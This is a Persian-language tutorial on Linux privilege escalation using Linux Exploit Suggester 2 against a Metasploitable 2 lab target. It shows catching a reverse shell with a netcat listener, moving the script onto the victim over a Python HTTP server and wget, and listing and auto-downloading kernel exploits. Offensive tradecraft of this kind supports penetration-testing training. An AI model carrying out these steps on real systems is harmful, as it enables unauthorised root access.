کار با Linux Exploit Suggester
در این مطلب نحوه کار با Linux Exploit Suggester را مرور می کنیم.
ارتقای دسترسی یا Privilege escalation یکی از مهارت های اساسی هر هکر کهنه کاری است که می تواند آن هارا از هکر های تازه کار جدا کند. با داشتن افق در حال تغییر اکسپلویت ها و تعداد زیادی از اکسپلویت ها که وجود دارد ، می تواند جنبه مشکل ساز هر حمله ای را داشته باشد.زمانی که یک هکر بتواند دسترسی روت در هر سروری را از آن خود کند میتواند هرکاری را در آن انجام دهد. خوشبختانه ، برخی از ابزارها می توانند به تسریع روند کار به شما کمک کنند. Linux Exploit Suggester تنها یکی از بسیاری از مواردی است که به شما در کسب دسترسی ریشه یا روت کمک می کند.
ارتقای سطح دسترسی یا Privilege escalation یکی از گام های کسب دسترسی کاربری دیگر در مهارت هک میباشد،که خود این به دو صورت مطرح میشود: ارتقای سطح دسترسی عمودی و افقی
ارتقای سطح دسترسی افقی زمانی است که یک مهاجم به طور معمول با همان وضعیت و مجوزها به یک حساب کاربری دیگر دسترسی پیدا می کند. این امکان دسترسی به آن سیستم ها یا داده های اضافی را می دهد اما به اندازه پسرعموی دیگر آن یعنی ارتقای دسترسی عمودی جدی نیست. ارتقای سطح دسترسی عمودی عبارت است از مهاجمی که با داشتن دسترسی بالا مانند حساب مدیر سیستم ، به یک حساب دسترسی پیدا می کند و خود در سطح مدیر آن سیستم می شود.
پس در نوع افقی سطح دسترسی در حد کاربر معمولی است اما در نوع عمودی هکر دسترسی یک مدیر سیستم را دارد.
افزایش دسترسی، به ویژه نوع عمودی ، برای مهاجم بسیار مهم است زیرا به آنها امکان می دهد کارهایی را انجام دهند که یک کاربر عادی قادر به انجام آن نیست. مگر در سیستم پیکربندی ضعیف ، کاربران استاندارد معمولاً نمی توانند اکسپلویت را پیاده سازی کرده و یا سیستم را به روش های چشمگیر که به نفع یک مهاجم باشد ، پیکربندی کنند. به همین دلیل است که افزایش دسترسی برای دستیابی کامل به یک هدف مهم است.
شروع کار و نصب ملزومات
برای شروع ، ما از Metasploitable 2 به عنوان هدف و Kali Linux به عنوان دستگاه محلی خود استفاده می کنیم. می توانید از یک تنظیم مشابه استفاده کنید. در صورت آماده شدن ، باید Linux Exploit Suggester را از GitHub دربافت کنیم.

بیایید فرض کنیم هدف مورد نظر دسترسی به اینترنت را محدود کرده است ، بنابراین باید ابتدا آن را در دستگاه محلی خود داشته باشیم و بعداً آن را به هدف منتقل کنیم. ما می توانیم از wget برای دانلود مانند یک برنامه دانلود مستقیم اسکریپت از ترمینال استفاده کنیم:
~# wget https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl
--2020-02-18 12:15:58-- https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.148.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.148.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 24780 (24K) [text/plain]
Saving to: ‘linux-exploit-suggester-2.pl’
linux-exploit-suggester-2.pl 100%[======================================================================================================================>] 24.20K --.-KB/s in 0.03s
2020-02-18 12:15:58 (718 KB/s) - ‘linux-exploit-suggester-2.pl’ saved [24780/24780]
اکنون باید قربانی را به خطر بیاندازیم و به محیط شل آن دسترسی پیدا کنیم. تزریق دستور همیشه یک کار سرگرم کننده برای ماست. سپس ، هنگامی که اتصال ورودی را گرفتیم ، می توانیم تأیید کنیم که کاربر www-data با دستور id هستیم:
~# nc -lvnp 4321
listening on [any] 4321 ...
connect to [10.10.0.1] from (UNKNOWN) [10.10.0.50] 36302
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
از اینجا ، ما می خواهیم به یک شل TTY کاملاً تعاملی ارتقاء دهیم ، بنابراین کنترل بیشتری داریم و می توانیم از تکمیل زبانه ، تاریخچه فرمان و موارد دیگر استفاده کنیم. پس از اینکه شل خود را به روز کردیم ، می توانیم به یک دایرکتوری مدیر حرکت کنیم تا بتوانیم دریافت کنیم. و در نهایت ابزار را اجرا کنید:
www-data@metasploitable:/var/www/dvwa/vulnerabilities/exec$ cd /dev/shm
اسکریپت را به قربانی انتقال دهید
دوباره به دستگاه محلی خود برگردید ، اجازه دهید اسکریپت را به چیزی کوتاهتر تغییر نام دهیم:
~# mv linux-exploit-suggester-2.pl les2.pl
اکنون ما می توانیم اسکریپت را با ماژول SimpleHTTPServer Python اجرا کنیم – از سوئیچ -m برای مشخص کردن ماژول استفاده کنید:
~# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
با بازگشت به هدف ، ما می توانیم دوباره از wget استفاده کنیم تا اسکریپت را از دستگاه محلی بازیابی کنیم:
www-data@metasploitable:/dev/shm$ wget http://10.10.0.1:8000/les2.pl
--13:43:17-- http://10.10.0.1:8000/les2.pl
=> `les2.pl'
Connecting to 10.10.0.1:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 24,780 (24K) [text/x-perl]
100%[=========================================================================================================================================================================>] 24,780 --.--K/s
13:43:18 (70.47 MB/s) - `les2.pl' saved [24780/24780]
پس از اتمام این کار ، می توانیم سرور پایتون را ببندیم. اکنون می توانیم به مجوزهای فعلی اسکریپت خود که اخیراً انتقال داده ایم نگاهی بیندازیم:
www-data@metasploitable:/dev/shm$ ls -la
total 28
drwxrwxrwt 2 root root 60 Jun 19 13:43 .
drwxr-xr-x 13 root root 13480 Jun 19 13:28 ..
-rw-r--r-- 1 www-data www-data 24780 Feb 18 2020 les2.pl
می توانیم ببینیم که در این مرحله فقط خواندنی است ، بنابراین از دستور chmod برای اجرای آن استفاده کنید:
www-data@metasploitable:/dev/shm$ chmod +x les2.pl
سرانجام ، همه ما آماده اجرای فیلمنامه هستیم.
اجرای Linux Exploit Suggester
از آنجا که ما آن را اجرایی کردیم ، می توانیم از dot-slash برای اجرای Linux Exploit Suggester استفاده کنیم. برای دیدن منوی راهنما و مثال استفاده از آپشن -h استفاده کنید:
www-data@metasploitable:/dev/shm$ ./les2.pl -h
#############################
Linux Exploit Suggester 2
#############################
Usage: ./les2.pl [-h] [-k kernel] [-d]
[-h] Help (this message)
[-k] Kernel number (eg. 2.6.28)
[-d] Open exploit download menu
You can also provide a partial kernel version (eg. 2.4)
to see all exploits available.
ابتدایی ترین روش استفاده از ابزار ، اجرای آن بدون هیچ گزینه ای است:
www-data@metasploitable:/dev/shm$ ./les2.pl
#############################
Linux Exploit Suggester 2
#############################
Local Kernel: 2.6.24
Searching 72 exploits...
Possible Exploits
[1] american-sign-language
CVE-2010-4347
Source: http://www.securityfocus.com/bid/45408
[2] can_bcm
CVE-2010-2959
Source: http://www.exploit-db.com/exploits/14814
[3] dirty_cow
CVE-2016-5195
Source: http://www.exploit-db.com/exploits/40616
[4] do_pages_move
Alt: sieve CVE-2010-0415
Source: Spenders Enlightenment
[5] exploit_x
CVE-2018-14665
Source: http://www.exploit-db.com/exploits/45697
[6] half_nelson1
Alt: econet CVE-2010-3848
Source: http://www.exploit-db.com/exploits/17787
[7] half_nelson2
Alt: econet CVE-2010-3850
Source: http://www.exploit-db.com/exploits/17787
[8] half_nelson3
Alt: econet CVE-2010-4073
Source: http://www.exploit-db.com/exploits/17787
[9] msr
CVE-2013-0268
Source: http://www.exploit-db.com/exploits/27297
[10] pipe.c_32bit
CVE-2009-3547
Source: http://www.securityfocus.com/data/vulnerabilities/exploits/36901-1.c
[11] pktcdvd
CVE-2010-3437
Source: http://www.exploit-db.com/exploits/15150
[12] reiserfs
CVE-2010-1146
Source: http://www.exploit-db.com/exploits/12130
[13] sock_sendpage
Alt: wunderbar_emporium CVE-2009-2692
Source: http://www.exploit-db.com/exploits/9435
[14] sock_sendpage2
Alt: proto_ops CVE-2009-2692
Source: http://www.exploit-db.com/exploits/9436
[15] video4linux
CVE-2010-3081
Source: http://www.exploit-db.com/exploits/15024
[16] vmsplice1
Alt: jessica biel CVE-2008-0600
Source: http://www.exploit-db.com/exploits/5092
[17] vmsplice2
Alt: diane_lane CVE-2008-0600
Source: http://www.exploit-db.com/exploits/5093
Linux Exploit Suggester با گرفتن نسخه هسته و مقایسه آن با لیستی از سوء استفاده های احتمالی کار می کند. در بالا می توانیم مشاهده کنیم که تعداد معدودی از سوء استفاده های بالقوه با ذکر نام ، شماره CVE و پیوند به منبع ذکر شده است. همچنین می توانیم از کلید -k استفاده کنیم تا نسخه هسته را به صورت دستی مشخص کنیم. بیایید شماره هسته را با دستور uname -r تأیید کنیم:
www-data@metasploitable:/dev/shm$ uname -r
2.6.24-16-server
به جای استفاده از شماره نسخه دقیق ، می توانیم آن را به 2.6 کوتاه کنیم زیرا سیستم ها اغلب ممکن است در برابر سوء استفاده های کمی قدیمی نیز آسیب پذیر باشند:
www-data@metasploitable:/dev/shm$ ./les2.pl -k 2.6
#############################
Linux Exploit Suggester 2
#############################
Local Kernel: 2.6
Searching 72 exploits...
Possible Exploits
[1] american-sign-language (2.6.0)
CVE-2010-4347
Source: http://www.securityfocus.com/bid/45408
[2] can_bcm (2.6.18)
CVE-2010-2959
Source: http://www.exploit-db.com/exploits/14814
[3] caps_to_root (2.6.34)
CVE-n/a
Source: http://www.exploit-db.com/exploits/15916
[4] dirty_cow (2.6.22)
CVE-2016-5195
Source: http://www.exploit-db.com/exploits/40616
[5] do_pages_move (2.6.18)
Alt: sieve CVE-2010-0415
Source: Spenders Enlightenment
[6] elfcd (2.6.12)
[7] exit_notify (2.6.25)
Source: http://www.exploit-db.com/exploits/8369
[8] exp.sh (2.6.9)
[9] exploit_x (2.6.22)
CVE-2018-14665
Source: http://www.exploit-db.com/exploits/45697
[10] ftrex (2.6.11)
CVE-2008-4210
Source: http://www.exploit-db.com/exploits/6851
[11] h00lyshit (2.6.8)
CVE-2006-3626
Source: http://www.exploit-db.com/exploits/2013
[12] half_nelson1 (2.6.0)
Alt: econet CVE-2010-3848
Source: http://www.exploit-db.com/exploits/17787
[13] half_nelson2 (2.6.0)
Alt: econet CVE-2010-3850
Source: http://www.exploit-db.com/exploits/17787
[14] half_nelson3 (2.6.0)
Alt: econet CVE-2010-4073
Source: http://www.exploit-db.com/exploits/17787
[15] kdump (2.6.13)
[16] krad (2.6.5)
[17] krad3 (2.6.5)
Source: http://exploit-db.com/exploits/1397
[18] local26 (2.6.13)
[19] memodipper (2.6.39)
CVE-2012-0056
Source: http://www.exploit-db.com/exploits/18411
[20] msr (2.6.18)
CVE-2013-0268
Source: http://www.exploit-db.com/exploits/27297
[21] newsmp (2.6)
[22] ong_bak (2.6.5)
[23] pipe.c_32bit (2.6.15)
CVE-2009-3547
Source: http://www.securityfocus.com/data/vulnerabilities/exploits/36901-1.c
[24] pktcdvd (2.6.0)
CVE-2010-3437
Source: http://www.exploit-db.com/exploits/15150
[25] prctl (2.6.13)
Source: http://www.exploit-db.com/exploits/2004
[26] prctl2 (2.6.13)
Source: http://www.exploit-db.com/exploits/2005
[27] prctl3 (2.6.13)
Source: http://www.exploit-db.com/exploits/2006
[28] prctl4 (2.6.13)
Source: http://www.exploit-db.com/exploits/2011
[29] ptrace_kmod2 (2.6.26)
Alt: ia32syscall,robert_you_suck CVE-2010-3301
Source: http://www.exploit-db.com/exploits/15023
[30] pwned (2.6.11)
[31] py2 (2.6.9)
[32] raptor_prctl (2.6.13)
CVE-2006-2451
Source: http://www.exploit-db.com/exploits/2031
[33] rawmodePTY (2.6.31)
CVE-2014-0196
Source: http://packetstormsecurity.com/files/download/126603/cve-2014-0196-md.c
[34] rds (2.6.30)
CVE-2010-3904
Source: http://www.exploit-db.com/exploits/15285
[35] reiserfs (2.6.18)
CVE-2010-1146
Source: http://www.exploit-db.com/exploits/12130
[36] sctp (2.6.26)
CVE-2008-4113
[37] semtex (2.6.37)
CVE-2013-2094
Source: http://www.exploit-db.com/exploits/25444
[38] sock_sendpage (2.6.0)
Alt: wunderbar_emporium CVE-2009-2692
Source: http://www.exploit-db.com/exploits/9435
[39] sock_sendpage2 (2.6.0)
Alt: proto_ops CVE-2009-2692
Source: http://www.exploit-db.com/exploits/9436
[40] stackgrow2 (2.6.10)
[41] udev (2.6.25)
Alt: udev <1.4.1 CVE-2009-1185
Source: http://www.exploit-db.com/exploits/8478
[42] udp_sendmsg_32bit (2.6.1)
CVE-2009-2698
Source: http://downloads.securityfocus.com/vulnerabilities/exploits/36108.c
[43] uselib24 (2.6.10)
[44] vconsole (2.6)
CVE-2009-1046
[45] video4linux (2.6.0)
CVE-2010-3081
Source: http://www.exploit-db.com/exploits/15024
[46] vmsplice1 (2.6.17)
Alt: jessica biel CVE-2008-0600
Source: http://www.exploit-db.com/exploits/5092
[47] vmsplice2 (2.6.23)
Alt: diane_lane CVE-2008-0600
Source: http://www.exploit-db.com/exploits/5093
آخرین گزینه Linux Exploit Suggester امکان بارگیری خودکار اسکریپت های سوءاستفاده برای هر فرصتی را که می یابد فراهم می کند. برای فعال کردن گزینه از پرچم -d استفاده کنید:
www-data@metasploitable:/dev/shm$ ./les2.pl -k 2.6 -d
#############################
Linux Exploit Suggester 2
#############################
Local Kernel: 2.6
Searching 72 exploits...
Possible Exploits
[1] american-sign-language (2.6.0)
CVE-2010-4347
Source: http://www.securityfocus.com/bid/45408
[2] can_bcm (2.6.18)
CVE-2010-2959
Source: http://www.exploit-db.com/exploits/14814
[3] caps_to_root (2.6.34)
CVE-n/a
Source: http://www.exploit-db.com/exploits/15916
[4] dirty_cow (2.6.22)
CVE-2016-5195
Source: http://www.exploit-db.com/exploits/40616
[5] do_pages_move (2.6.18)
Alt: sieve CVE-2010-0415
Source: Spenders Enlightenment
[6] elfcd (2.6.12)
[7] exit_notify (2.6.25)
Source: http://www.exploit-db.com/exploits/8369
[8] exp.sh (2.6.9)
[9] exploit_x (2.6.22)
CVE-2018-14665
Source: http://www.exploit-db.com/exploits/45697
[10] ftrex (2.6.11)
CVE-2008-4210
Source: http://www.exploit-db.com/exploits/6851
[11] h00lyshit (2.6.8)
CVE-2006-3626
Source: http://www.exploit-db.com/exploits/2013
[12] half_nelson1 (2.6.0)
Alt: econet CVE-2010-3848
Source: http://www.exploit-db.com/exploits/17787
[13] half_nelson2 (2.6.0)
Alt: econet CVE-2010-3850
Source: http://www.exploit-db.com/exploits/17787
[14] half_nelson3 (2.6.0)
Alt: econet CVE-2010-4073
Source: http://www.exploit-db.com/exploits/17787
[15] kdump (2.6.13)
[16] krad (2.6.5)
[17] krad3 (2.6.5)
Source: http://exploit-db.com/exploits/1397
[18] local26 (2.6.13)
[19] memodipper (2.6.39)
CVE-2012-0056
Source: http://www.exploit-db.com/exploits/18411
[20] msr (2.6.18)
CVE-2013-0268
Source: http://www.exploit-db.com/exploits/27297
[21] newsmp (2.6)
[22] ong_bak (2.6.5)
[23] pipe.c_32bit (2.6.15)
CVE-2009-3547
Source: http://www.securityfocus.com/data/vulnerabilities/exploits/36901-1.c
[24] pktcdvd (2.6.0)
CVE-2010-3437
Source: http://www.exploit-db.com/exploits/15150
[25] prctl (2.6.13)
Source: http://www.exploit-db.com/exploits/2004
[26] prctl2 (2.6.13)
Source: http://www.exploit-db.com/exploits/2005
[27] prctl3 (2.6.13)
Source: http://www.exploit-db.com/exploits/2006
[28] prctl4 (2.6.13)
Source: http://www.exploit-db.com/exploits/2011
[29] ptrace_kmod2 (2.6.26)
Alt: ia32syscall,robert_you_suck CVE-2010-3301
Source: http://www.exploit-db.com/exploits/15023
[30] pwned (2.6.11)
[31] py2 (2.6.9)
[32] raptor_prctl (2.6.13)
CVE-2006-2451
Source: http://www.exploit-db.com/exploits/2031
[33] rawmodePTY (2.6.31)
CVE-2014-0196
Source: http://packetstormsecurity.com/files/download/126603/cve-2014-0196-md.c
[34] rds (2.6.30)
CVE-2010-3904
Source: http://www.exploit-db.com/exploits/15285
[35] reiserfs (2.6.18)
CVE-2010-1146
Source: http://www.exploit-db.com/exploits/12130
[36] sctp (2.6.26)
CVE-2008-4113
[37] semtex (2.6.37)
CVE-2013-2094
Source: http://www.exploit-db.com/exploits/25444
[38] sock_sendpage (2.6.0)
Alt: wunderbar_emporium CVE-2009-2692
Source: http://www.exploit-db.com/exploits/9435
[39] sock_sendpage2 (2.6.0)
Alt: proto_ops CVE-2009-2692
Source: http://www.exploit-db.com/exploits/9436
[40] stackgrow2 (2.6.10)
[41] udev (2.6.25)
Alt: udev <1.4.1 CVE-2009-1185
Source: http://www.exploit-db.com/exploits/8478
[42] udp_sendmsg_32bit (2.6.1)
CVE-2009-2698
Source: http://downloads.securityfocus.com/vulnerabilities/exploits/36108.c
[43] uselib24 (2.6.10)
[44] vconsole (2.6)
CVE-2009-1046
[45] video4linux (2.6.0)
CVE-2010-3081
Source: http://www.exploit-db.com/exploits/15024
[46] vmsplice1 (2.6.17)
Alt: jessica biel CVE-2008-0600
Source: http://www.exploit-db.com/exploits/5092
[47] vmsplice2 (2.6.23)
Alt: diane_lane CVE-2008-0600
Source: http://www.exploit-db.com/exploits/5093
Exploit Download
(Download all: 'a' / Individually: '2,4,5' / Exit: ^c)
Select exploits to download:
پس از تعیین سوء استفاده ، به ما گزینه ای برای بارگیری همه اسکریپت ها یا اسکریپت های اختصاصی ارائه می شود. به عنوان مثال ، اگر می خواستیم از بهره برداری udev بارگیری کنیم ، به سادگی شناسه مربوطه را وارد می کنیم:
Exploit Download
(Download all: 'a' / Individually: '2,4,5' / Exit: ^c)
Select exploits to download: 41
Downloading https://www.exploit-db.com/raw/8478 -> exploit_udev
در نظر داشته باشید که این ویژگی به یک اتصال اینترنتی فعال نیاز دارد ، بنابراین اگر دسترسی به هر طریقی محدود شود ، کار نخواهد کرد. با این وجود ، Linux Exploit Suggester دستیابی به اسکریپت سوءاستفاده را به راحتی در هدف آسان می کند. از این نقطه ، فقط مسئله افزایش دسترسی برای روت شدن است.
جمع بندی
در این آموزش ، ما درباره افزایش سطح دسترسی و ابزاری به نام Linux Exploit Suggester آشنا شدیم. ما با یک سازش اولیه شروع کردیم و سناریو را به هدف منتقل کردیم. سپس ما توانستیم آن را اجرا كنیم و تعدادی از گزینه های استفاده از آن را تحت پوشش قرار دهیم تا بهره برداری های احتمالی را كه می تواند برای روت شدن باشد ، کشف كنیم. افزایش سطح دسترسی بخشی جدایی ناپذیر از روش هر هکر است و Linux Exploit Suggester تنها ابزاری برای کمک به این هدف است.